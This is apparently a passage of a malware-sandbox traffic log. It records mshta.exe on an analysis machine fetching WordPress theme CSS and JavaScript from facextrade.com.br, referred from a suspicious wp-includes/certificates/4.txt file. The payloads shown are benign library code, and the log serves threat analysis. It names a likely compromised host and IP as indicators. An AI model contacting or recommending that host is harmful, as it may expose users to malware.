Aug 16, 2022 11:44:55.496484995 CEST	1943	IN	Data Raw: 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 34 2e 39 2e 32 30 22 7d 7d 3b 0a 09 09 09 21 66 75 6e 63 74 Data Ascii: cextrade.com.br\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.20"}};!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var a=String.fromCharCode;p.clearRect(0,0,i.width,i.height),p
Aug 16, 2022 11:44:55.496510029 CEST	1944	IN	Data Raw: 70 70 6f 72 74 73 2e 66 6c 61 67 2c 74 2e 44 4f 4d 52 65 61 64 79 3d 21 31 2c 74 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d 2c 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 Data Ascii: pports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything\|\|(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload
Aug 16, 2022 11:44:55.504254103 CEST	1946	IN	Data Raw: 31 30 31 64 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 0a 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 Data Ascii: 101d<style type="text/css">img.wp-smiley,img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 .07em !important;vertical-align: -0.1em
Aug 16, 2022 11:44:55.504281044 CEST	1947	IN	Data Raw: 74 2d 61 77 65 73 6f 6d 65 2e 63 73 73 3f 76 65 72 3d 33 2e 32 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d Data Ascii: t-awesome.css?ver=3.2.1' type='text/css' media='all' /><link rel='stylesheet' id='cherry-plugin-css' href='http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1' type='text/css' media='all' /><
Aug 16, 2022 11:44:55.504297018 CEST	1948	IN	Data Raw: 73 73 3f 76 65 72 3d 31 2e 30 2e 30 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 67 78 2d 6c 6f 67 6f 2d 73 Data Ascii: ss?ver=1.0.0' type='text/css' media='all' /><link rel='stylesheet' id='lgx-logo-slider-animate-css' href='http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20' type='text/css' media='al
Aug 16, 2022 11:44:55.504311085 CEST	1949	IN	Data Raw: 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 43 68 65 72 72 79 46 72 61 6d 65 77 6f 72 6b 2f 6a 73 2f 6a 71 75 65 72 79 Data Ascii: ascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2'></script>
Aug 16, 2022 11:44:55.511977911 CEST	1950	IN	Data Raw: 31 30 37 66 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 Data Ascii: 107f<script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/li
Aug 16, 2022 11:44:55.512006998 CEST	1951	IN	Data Raw: 2f 6a 73 2f 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 2d 70 75 62 6c 69 63 2e 6a 73 3f 76 65 72 3d 31 2e 30 2e 30 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 Data Ascii: /js/logo-slider-wp-public.js?ver=1.0.0'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1'></script><script type='text/javascript' src='http://fac
Aug 16, 2022 11:44:55.712220907 CEST	1960	IN	Data Raw: 4c 20 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 27 2c 0a 09 20 50 41 52 45 4e 54 5f 55 52 4c 20 3d 20 27 68 74 74 70 3a 2f Data Ascii: L ='http://facextrade.com.br/wp-content/themes/theme51253', PARENT_URL = 'http://facextrade.com.br/wp-content/themes/CherryFramework', CURRENT_THEME = 'theme51253'</script><style type='text/css'>body { background-image:url(http://facext

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.5	49782	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:44:50.704997063 CEST	1638	OUT	GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:50.929371119 CEST	1644	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:44:50 GMT Server: Apache Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT ETag: "a51456-d17-5c93d38d9645e" Accept-Ranges: bytes Content-Length: 3351 Connection: close Content-Type: text/css
Aug 16, 2022 11:44:50.929394960 CEST	1645	IN	Data Raw: 2f 2a 2a 0a 20 2a 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 76 32 2e 33 2e 34 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 33 2d 32 30 31 38 20 44 61 76 69 64 20 44 65 75 74 73 63 68 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 3a Data Ascii: /** * Owl Carousel v2.3.4 * Copyright 2013-2018 David Deutsch * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE */.owl-carousel,.owl-carousel .owl-item{-webkit-tap-highlight-color:transparen
Aug 16, 2022 11:44:50.929415941 CEST	1646	IN	Data Raw: 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 3b 2d 6d 6f 7a 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 3b 2d 6d 73 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 3b 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 7d 2e 6f 77 6c 2d Data Ascii: user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.owl-carousel .owl-nav button.owl-next,.owl-carousel .owl-nav button.owl-prev,.owl-carousel button.owl-dot{background:0 0;color:inherit;border:none;padding:0!importan
Aug 16, 2022 11:44:50.929433107 CEST	1647	IN	Data Raw: 3a 61 62 73 6f 6c 75 74 65 3b 68 65 69 67 68 74 3a 38 30 70 78 3b 77 69 64 74 68 3a 38 30 70 78 3b 6c 65 66 74 3a 35 30 25 3b 74 6f 70 3a 35 30 25 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 34 30 Data Ascii: :absolute;height:80px;width:80px;left:50%;top:50%;margin-left:-40px;margin-top:-40px;background:url(owl.video.play.png) no-repeat;cursor:pointer;z-index:1;-webkit-backface-visibility:hidden;transition:transform .1s ease}.owl-carousel .owl-vide

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.5	49783	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:44:51.157881975 CEST	1648	OUT	GET /wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.default.min.css?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:51.372833967 CEST	1648	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:44:51 GMT Server: Apache Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT ETag: "a51451-3f5-5c93d38d94a1b" Accept-Ranges: bytes Content-Length: 1013 Connection: close Content-Type: text/css
Aug 16, 2022 11:44:51.372872114 CEST	1649	IN	Data Raw: 2f 2a 2a 0a 20 2a 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 76 32 2e 33 2e 34 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 33 2d 32 30 31 38 20 44 61 76 69 64 20 44 65 75 74 73 63 68 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 3a Data Ascii: /** * Owl Carousel v2.3.4 * Copyright 2013-2018 David Deutsch * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE */.owl-theme .owl-dots,.owl-theme .owl-nav{text-align:center;-webkit-tap-highl

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.5	49784	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:44:51.597171068 CEST	1650	OUT	GET /wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:51.816030025 CEST	1652	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:44:51 GMT Server: Apache Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT ETag: "a51464-13cec-5c93d38d9adcd" Accept-Ranges: bytes Content-Length: 81132 Connection: close Content-Type: text/css Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 0d 0a 0d 0a 2f 2a 21 0d 0a 41 6e 69 6d 61 74 65 2e 63 73 73 20 2d 20 68 74 74 70 3a 2f 2f 64 61 6e 65 64 65 6e 2e 6d 65 2f 61 6e 69 6d 61 74 65 0d 0a 56 65 72 73 69 6f 6e 20 2d 20 33 2e 34 2e 30 0d 0a 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 0d 0a 0d 0a 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 35 20 44 61 6e 69 65 6c 20 45 64 65 6e 0d 0a 2a 2f 0d 0a 0d 0a 2e 61 6e 69 6d 61 74 65 64 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0d 0a 7d 0d 0a 0d 0a 2e 61 6e 69 6d 61 74 65 64 2e 69 6e 66 69 6e 69 74 65 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 20 69 6e 66 69 6e 69 74 65 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 20 69 6e 66 69 6e 69 74 65 3b 0d 0a 7d 0d 0a 0d 0a 2e 61 6e 69 6d 61 74 65 64 2e 68 69 6e 67 65 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 32 73 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 32 73 3b 0d 0a 7d 0d 0a 0d 0a 2e 61 6e 69 6d 61 74 65 64 2e 62 6f 75 6e 63 65 49 6e 2c 0d 0a 2e 61 6e 69 6d 61 74 65 64 2e 62 6f 75 6e 63 65 4f 75 74 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 2e 37 35 73 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 2e 37 35 73 3b 0d 0a 7d 0d 0a 0d 0a 2e 61 6e 69 6d 61 74 65 64 2e 66 6c 69 70 4f 75 74 58 2c 0d 0a 2e 61 6e 69 6d 61 74 65 64 2e 66 6c 69 70 4f 75 74 59 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 2e 37 35 73 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 2e 37 35 73 3b 0d 0a 7d 0d 0a 0d 0a 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 62 6f 75 6e 63 65 20 7b 0d 0a 20 20 20 20 66 72 6f 6d 2c 20 32 30 25 2c 20 35 33 25 2c 20 38 30 25 2c 20 74 6f 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 32 31 35 2c 20 30 2e 36 31 30 2c 20 30 2e 33 35 35 2c 20 31 2e 30 30 30 29 3b 0d 0a 20 20 20 20 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 32 31 35 2c 20 30 2e 36 31 30 2c 20 30 2e 33 35 35 2c 20 31 2e 30 30 30 29 3b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 30 2c 30 29 3b 0d 0a 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 33 Data Ascii: @charset "UTF-8";/!Animate.css - http://daneden.me/animateVersion - 3.4.0Licensed under the MIT license - http://opensource.org/licenses/MITCopyright (c) 2015 Daniel Eden/.animated { -webkit-animation-duration: 1s; animation-duration: 1s; -webkit-animation-fill-mode: both; animation-fill-mode: both;}.animated.infinite { -webkit-animation-iteration-count: infinite; animation-iteration-count: infinite;}.animated.hinge { -webkit-animation-duration: 2s; animation-duration: 2s;}.animated.bounceIn,.animated.bounceOut { -webkit-animation-duration: .75s; animation-duration: .75s;}.animated.flipOutX,.animated.flipOutY { -webkit-animation-duration: .75s; animation-duration: .75s;}@-webkit-keyframes bounce { from, 20%, 53%, 80%, to { -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); -webkit-transform: translate3d(0,0,0); transform: translate3
Aug 16, 2022 11:44:51.816049099 CEST	1653	IN	Data Raw: 64 28 30 2c 30 2c 30 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 34 30 25 2c 20 34 33 25 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 63 75 62 Data Ascii: d(0,0,0); } 40%, 43% { -webkit-animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); -webkit-transform: translate3d(0, -
Aug 16, 2022 11:44:51.816066980 CEST	1655	IN	Data Raw: 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 37 35 35 2c 20 30 2e 30 35 30 2c 20 30 2e 38 35 35 2c 20 30 2e 30 36 30 29 3b 0d 0a 20 20 20 20 20 20 20 20 61 6e 69 Data Ascii: -animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); -webkit-transform: translate3d(0, -15px, 0); transform: translate3d(0, -15px,
Aug 16, 2022 11:44:51.816083908 CEST	1656	IN	Data Raw: 6d 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 33 64 28 31 2c 20 31 2c 20 31 29 3b 0d 0a 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 33 64 28 31 2c 20 31 Data Ascii: m { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } 50% { -webkit-transform: scale3d(1.05, 1.05, 1.05); transform: scale3d(1.05, 1.05, 1.05); } to { -webk
Aug 16, 2022 11:44:51.816101074 CEST	1657	IN	Data Raw: 31 2c 20 31 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 33 30 25 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 33 64 28 31 2e 32 35 2c 20 30 2e 37 35 2c 20 31 29 3b 0d 0a 20 20 Data Ascii: 1, 1); } 30% { -webkit-transform: scale3d(1.25, 0.75, 1); transform: scale3d(1.25, 0.75, 1); } 40% { -webkit-transform: scale3d(0.75, 1.25, 1); transform: scale3d(0.75, 1.25, 1);
Aug 16, 2022 11:44:51.816137075 CEST	1659	IN	Data Raw: 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 31 30 25 2c 20 33 30 25 2c 20 35 30 25 2c 20 37 30 25 2c 20 39 30 25 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 33 64 Data Ascii: ); } 10%, 30%, 50%, 70%, 90% { -webkit-transform: translate3d(-10px, 0, 0); transform: translate3d(-10px, 0, 0); } 20%, 40%, 60%, 80% { -webkit-transform: translate3d(10px, 0, 0); tra
Aug 16, 2022 11:44:51.816179037 CEST	1660	IN	Data Raw: 6d 3a 20 72 6f 74 61 74 65 33 64 28 30 2c 20 30 2c 20 31 2c 20 35 64 65 67 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 38 30 25 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 Data Ascii: m: rotate3d(0, 0, 1, 5deg); } 80% { -webkit-transform: rotate3d(0, 0, 1, -5deg); transform: rotate3d(0, 0, 1, -5deg); } to { -webkit-transform: rotate3d(0, 0, 1, 0deg); transform: rot
Aug 16, 2022 11:44:51.816200972 CEST	1661	IN	Data Raw: 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 33 64 28 2e 39 2c 20 2e 39 2c 20 2e 39 29 20 72 6f 74 61 74 65 33 64 28 30 2c 20 30 2c 20 31 2c 20 2d 33 64 65 67 29 3b 0d 0a 20 20 20 20 20 20 20 20 74 72 61 6e 73 Data Ascii: -webkit-transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg); transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg); } 30%, 50%, 70%, 90% { -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg)
Aug 16, 2022 11:44:51.816493034 CEST	1663	IN	Data Raw: 6f 74 61 74 65 33 64 28 30 2c 20 30 2c 20 31 2c 20 2d 33 64 65 67 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 36 30 25 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 Data Ascii: otate3d(0, 0, 1, -3deg); } 60% { -webkit-transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg); transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg); } 75% { -webkit-transform: transl
Aug 16, 2022 11:44:51.816545963 CEST	1664	IN	Data Raw: 2c 20 30 29 20 72 6f 74 61 74 65 33 64 28 30 2c 20 30 2c 20 31 2c 20 2d 31 64 65 67 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 74 6f 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 6e 6f 6e 65 Data Ascii: , 0) rotate3d(0, 0, 1, -1deg); } to { -webkit-transform: none; transform: none; }}.wobble { -webkit-animation-name: wobble; animation-name: wobble;}@-webkit-keyframes jello { from,
Aug 16, 2022 11:44:52.032243967 CEST	1666	IN	Data Raw: 20 6a 65 6c 6c 6f 20 7b 0d 0a 20 20 20 20 66 72 6f 6d 2c 20 31 31 2e 31 25 2c 20 74 6f 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f Data Ascii: jello { from, 11.1%, to { -webkit-transform: none; transform: none; } 22.2% { -webkit-transform: skewX(-12.5deg) skewY(-12.5deg); transform: skewX(-12.5deg) skewY(-12.5deg); } 3

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.5	49785	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:44:52.468283892 CEST	1737	OUT	GET /wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:52.683214903 CEST	1739	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:44:52 GMT Server: Apache Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT ETag: "a50ba8-14fc-5c93d38d8b229" Accept-Ranges: bytes Content-Length: 5372 Connection: close Content-Type: text/css Data Raw: 2f 2a 2a 0a 20 2a 20 41 6c 6c 20 6f 66 20 74 68 65 20 43 53 53 20 66 6f 72 20 79 6f 75 72 20 70 75 62 6c 69 63 2d 66 61 63 69 6e 67 20 66 75 6e 63 74 69 6f 6e 61 6c 69 74 79 20 73 68 6f 75 6c 64 20 62 65 0a 20 2a 20 69 6e 63 6c 75 64 65 64 20 69 6e 20 74 68 69 73 20 66 69 6c 65 2e 0a 20 2a 2f 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6f 77 6c 2d 73 74 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 77 72 61 70 70 65 72 20 7b 0a 20 20 70 61 64 64 69 6e 67 3a 20 32 35 70 78 20 30 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 77 72 61 70 70 65 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 6e 61 76 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 77 72 61 70 70 65 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 6e 61 76 20 2e 6f 77 6c 2d 6e 65 78 74 2c 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 77 72 61 70 70 65 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 6e 61 76 20 2e 6f 77 6c 2d 70 72 65 76 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 31 70 78 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 77 72 61 70 70 65 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 6e 61 76 20 5b 63 6c 61 73 73 2a 3d 6f 77 6c 2d 5d 20 7b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 77 72 61 70 70 65 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 6e 65 78 74 20 69 6d 67 2c 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 77 72 61 70 70 65 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 70 72 65 76 20 69 